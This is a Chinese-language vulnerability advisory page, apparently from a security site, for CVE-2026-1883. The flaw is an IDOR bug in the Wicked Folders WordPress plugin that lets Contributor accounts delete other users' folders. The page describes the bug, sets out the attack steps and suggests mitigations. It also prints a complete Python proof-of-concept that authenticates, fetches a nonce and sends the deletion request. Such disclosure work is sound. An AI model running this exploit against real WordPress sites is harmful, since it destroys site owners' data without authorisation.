IPBUF安全漏洞报告
English
CVE-2026-1883 CVSS 4.3 中危

CVE-2026-1883 WordPress Wicked Folders插件IDOR漏洞可删除任意文件夹

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-1883
漏洞类型
Insecure Direct Object Reference (IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wicked Folders – Folder Organizer for Pages, Posts, and Custom Post Types (WordPress插件)

相关标签

IDORWordPress插件漏洞Wicked Folders权限绕过CVE-2026-1883文件夹删除Contributor权限Insecure Direct Object Reference

漏洞概述

CVE-2026-1883是WordPress插件Wicked Folders中的一个不安全直接对象引用(IDOR)漏洞。该插件是用于管理页面、文章和自定义文章类型文件夹的组织工具。漏洞源于delete_folders()函数缺少对用户控制键的验证,导致权限控制机制失效。攻击者只需拥有Contributor(贡献者)级别或更高的账户权限,即可利用此漏洞删除网站上任意用户创建的文件夹,包括其他管理员创建的文件夹。此漏洞影响所有版本直至4.1.0,CVSS评分4.3,属于中等严重程度。虽然该漏洞不直接导致数据泄露或代码执行,但文件夹的恶意删除可能影响网站内容组织结构,造成业务中断和数据混乱,特别是在依赖文件夹分类管理大量内容的网站上。

技术细节

该IDOR漏洞存在于Wicked Folders插件的delete_folders()函数中。漏洞的根本原因是函数在处理文件夹删除请求时,直接使用用户提供的参数作为文件夹标识符,而未进行充分的权限验证和对象所有权检查。具体来说,当用户提交删除文件夹请求时,服务器端代码接受用户提交的文件夹ID参数,但未验证该文件夹是否属于当前认证用户或当前用户是否有权限删除该特定文件夹。攻击者可以通过修改请求中的文件夹ID参数,指定其他用户创建的文件夹ID,从而触发删除操作。由于WordPress的Contributor角色默认具有创建和管理自己内容的权限,攻击者可以利用这一权限缺陷操作不属于他们的文件夹对象。修复方案需要在delete_folders()函数中添加对当前用户权限和文件夹所有权的验证逻辑,确保用户只能删除自己创建的文件夹。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor级别或更高权限的账户凭据
STEP 2
步骤2
攻击者登录WordPress后台,访问Wicked Folders插件管理页面
STEP 3
步骤3
攻击者通过浏览器开发者工具或代理工具拦截文件夹删除请求
STEP 4
步骤4
攻击者修改请求中的folder_ids参数,将目标文件夹ID替换为其他用户创建的文件夹ID
STEP 5
步骤5
服务器端未验证文件夹所有权,直接执行delete_folders()函数删除指定文件夹
STEP 6
步骤6
攻击者重复步骤4-5,可删除任意用户的文件夹,造成内容组织结构破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2026-1883 PoC - IDOR in Wicked Folders delete_folders() # Target: WordPress site with Wicked Folders plugin <= 4.1.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def get_wp_session(): """Authenticate and get WordPress session""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Get login nonce resp = session.get(login_url) nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', resp.text) if not nonce_match: print("[-] Failed to get login nonce") return None login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "_wpnonce": nonce_match.group(1), "redirect_to": "/wp-admin/" } resp = session.post(login_url, data=login_data, allow_redirects=True) if "wp-admin" in resp.url or resp.cookies.get("wordpress_logged_in"): print("[+] Authentication successful") return session print("[-] Authentication failed") return None def exploit_idor(session, victim_folder_id): """Delete arbitrary folder by IDOR""" delete_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Get nonce for the action nonce_resp = session.get(f"{TARGET_URL}/wp-admin/admin.php?page=wicked-folders-settings") nonce_match = re.search(r'"action":"wicked_folders_delete_folders","nonce":"([a-z0-9]+)"', nonce_resp.text) payload = { "action": "wicked_folders_delete_folders", "nonce": nonce_match.group(1) if nonce_match else "your_valid_nonce", "folder_ids": [victim_folder_id] # IDOR: attacker controls target folder ID } resp = session.post(delete_url, data=payload) if resp.status_code == 200 and "success" in resp.text: print(f"[+] Successfully deleted folder ID: {victim_folder_id}") return True print(f"[-] Failed to delete folder ID: {victim_folder_id}") return False if __name__ == "__main__": session = get_wp_session() if session: # Target any folder ID (e.g., folder created by admin) target_folder_id = 1 exploit_idor(session, target_folder_id)

影响范围

Wicked Folders WordPress插件 <= 4.1.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)限制WordPress站点的注册功能,避免创建新的Contributor账户;2)使用WordPress安全插件监控异常的文件操作行为;3)对管理员和高级别用户创建的文件夹进行备份;4)考虑暂时禁用Wicked Folders插件,使用WordPress原生分类功能替代;5)实施Web应用防火墙(WAF)规则,监控和阻止异常的文件夹操作请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表